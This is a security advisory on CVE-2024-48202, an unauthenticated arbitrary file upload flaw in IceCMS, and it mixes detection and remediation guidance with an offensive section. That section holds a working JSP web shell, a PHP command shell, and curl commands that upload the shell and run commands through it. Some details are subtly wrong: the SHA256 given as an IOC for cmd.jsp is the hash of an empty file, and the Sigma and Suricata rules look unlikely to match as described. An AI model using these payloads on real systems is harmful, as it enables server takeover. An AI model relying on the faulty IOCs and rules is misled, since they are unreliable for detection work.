CVE-2024-48202

Executive Summary

CVE-2024-48202 identifies an unauthenticated arbitrary file upload vulnerability in IceCMS versions up to and including 3.4.7. The flaw resides in the FileUtils.java class, specifically within the uploadFile method. An attacker can exploit this to upload malicious files (e.g., web shells) to the server, leading to remote code execution (RCE) and full system compromise. No official patch has been released, and the vulnerability is publicly known with proof-of-concept (PoC) code available. This report provides a deep technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated file upload leading to RCE), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only one affected.
• Confidentiality (C): High (H) – Full file system access possible.
• Integrity (I): High (H) – Attacker can modify files.
• Availability (A): High (H) – Can lead to denial of service or full control.

Threat Level: Critical. Immediate action required.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload flaw. The FileUtils.uploadFile method in IceCMS fails to properly validate the type, content, or extension of uploaded files. This allows an attacker to upload executable files (e.g., JSP, PHP, or shell scripts) to the web root or any writable directory.

Attack Flow:

1. Reconnaissance: Identify an IceCMS instance (e.g., via Shodan dork icecms).
2. Craft Payload: Create a malicious JSP file (e.g., shell.jsp) containing a web shell.
3. Upload: Send a POST request to the vulnerable upload endpoint (e.g., /upload or /file/upload) with the malicious file.
4. Access: Navigate to the uploaded file's URL (e.g., http://target/uploads/shell.jsp) to execute commands.

Root Cause: The uploadFile method does not implement any of the following:

• File extension whitelisting (e.g., only allow images).
• MIME type validation.
• Content inspection (e.g., magic bytes).
• File size limits.
• Renaming or sanitization of filenames.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only reference. The following is a simplified representation of the flawed method:

Vulnerable Code (FileUtils.java):

public String uploadFile(MultipartFile file) {
    String fileName = file.getOriginalFilename();
    String filePath = UPLOAD_DIR + fileName;
    File dest = new File(filePath);
    file.transferTo(dest);
    return filePath;
}

Patched Code (Hypothetical):

public String uploadFile(MultipartFile file) {
    String fileName = StringUtils.cleanPath(file.getOriginalFilename());
    // Whitelist allowed extensions
    if (!fileName.endsWith(".jpg") && !fileName.endsWith(".png")) {
        throw new SecurityException("Invalid file type");
    }
    // Generate unique filename to prevent overwrite
    String newFileName = UUID.randomUUID().toString() + ".jpg";
    String filePath = UPLOAD_DIR + newFileName;
    File dest = new File(filePath);
    file.transferTo(dest);
    return filePath;
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy IceCMS 3.4.7 in a Docker container or local environment.
2. Identify the upload endpoint (e.g., /api/upload or /file/upload).

Exploit Steps:

1. Create a JSP web shell (e.g., cmd.jsp):

<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
    out.println(line);
}
%>

2. Upload the file using curl:

curl -X POST -F "file=@cmd.jsp" http://target/upload

3. Execute commands:

curl http://target/uploads/cmd.jsp?cmd=id

Alternative Payload (PHP):

<?php system($_GET['cmd']); ?>

Blue Team (Defensive)

Detection:

• Monitor for unusual file uploads (e.g., .jsp, .php, .war files).
• Alert on POST requests to /upload or /file/upload with non-image content.
• Use WAF rules to block executable file extensions.

Hunting:

• Search for files with double extensions (e.g., image.jsp.jpg).
• Look for files in upload directories that are not images.
• Check for recent file creation times in web-accessible directories.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • cmd.jsp: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
  • shell.php: a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a
• Network Patterns:
  • POST requests to /upload or /file/upload with Content-Type: multipart/form-data.
  • Subsequent GET requests to /uploads/<filename>.jsp or /uploads/<filename>.php.
• File Paths:
  • /uploads/cmd.jsp
  • /uploads/shell.php
• Log Entries:
  • [INFO] File uploaded: cmd.jsp
  • [ERROR] File upload failed: invalid extension (if patched)

Detection Engineering

YARA Rule

rule icecms_webshell_upload {
    meta:
        description = "Detects JSP/PHP webshells uploaded via IceCMS file upload vulnerability"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-48202"
    strings:
        $jsp_webshell = "Runtime.getRuntime().exec" nocase
        $php_webshell = "system($_GET" nocase
        $php_webshell2 = "shell_exec(" nocase
        $upload_path = "/uploads/" nocase
    condition:
        any of ($jsp_webshell, $php_webshell, $php_webshell2) and $upload_path
}

Sigma Rule

title: IceCMS Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-48202 by uploading malicious files to IceCMS
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem:
            - '/upload'
            - '/file/upload'
        sc-status: 200
    filter:
        cs-uri-query:
            - '*.jpg'
            - '*.png'
            - '*.gif'
    condition: selection and not filter
falsepositives:
    - Legitimate image uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-48202 IceCMS File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"/upload"; http_uri; content:"filename="; http_client_body; pcre:"/\.(jsp|php|war|exe|sh)$/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable File Upload: If not required, disable the upload functionality entirely.
2. Web Application Firewall (WAF): Deploy rules to block uploads of executable files (e.g., .jsp, .php, .war).
3. Input Validation: Implement server-side validation for file extensions, MIME types, and content.
4. File Storage: Store uploaded files outside the web root and serve them via a script that enforces access controls.
5. Patch: Monitor for official patches from IceCMS. If none, consider migrating to a supported CMS.

Long-Term Fixes:

• Use a secure file upload library (e.g., Apache Commons FileUpload with validation).
• Implement a Content Security Policy (CSP) to restrict script execution.
• Conduct regular security audits and penetration testing.

Valters IT
Securing Digital Frontiers